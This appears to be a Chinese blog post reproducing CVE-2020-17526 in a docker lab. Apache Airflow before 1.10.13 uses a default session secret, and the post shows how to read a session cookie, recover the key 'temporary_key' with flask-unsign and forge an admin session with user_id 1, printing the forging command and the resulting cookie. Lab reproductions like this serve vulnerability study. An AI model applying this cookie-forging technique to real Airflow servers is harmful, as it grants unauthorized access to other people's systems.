Apache Airflow 身份验证绕过 (CVE-2020-17526)

Apache Airflow 是一个开源的分布式任务调度框架。尽管默认情况下不需要身份验证,但管理部门可以指定 webserver.authenticate=True 来启用它。在 1.10.13 之前的版本中,Apache Airflow 使用默认会话 secert 密钥,这会导致在启用身份验证时模拟任意用户。

复现:docker 搭建环境

#Initialize the database
docker-compose run airflow-init

#Start service
docker-compose up -d

访问网站 http://192.168.92.130:8080查看 Apache Airflow 的登录页面http://192.168.92.130:8080

 首先,浏览登录页面并从 Cookie 获取会话字符串:eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiMDZmODZhY2QzY2JhNGQwZDI0ZGM0ODA5MTAzNWY2YzgyMTQ3YmM5YiJ9.ZdW-Kg.TcsL80HkILvoOEgJz9z9xu_44js

然后,使用flask-unsign 破解会话密钥: 

我们得到了有效的会话密钥 temporary_key 。然后,使用此键生成一个新会话,其 user_id 等于 1 : 

flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"

eyJ1c2VyX2lkIjoiMSIsIl9mcmVzaCI6ZmFsc2UsIl9wZXJtYW5lbnQiOnRydWV9.ZdXEJQ.7_tLRZB4eyTA2AoYf-9mH0MbnHM

使用EditThisCookie 粘贴session值然后刷新一下页面

 

  • 7
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值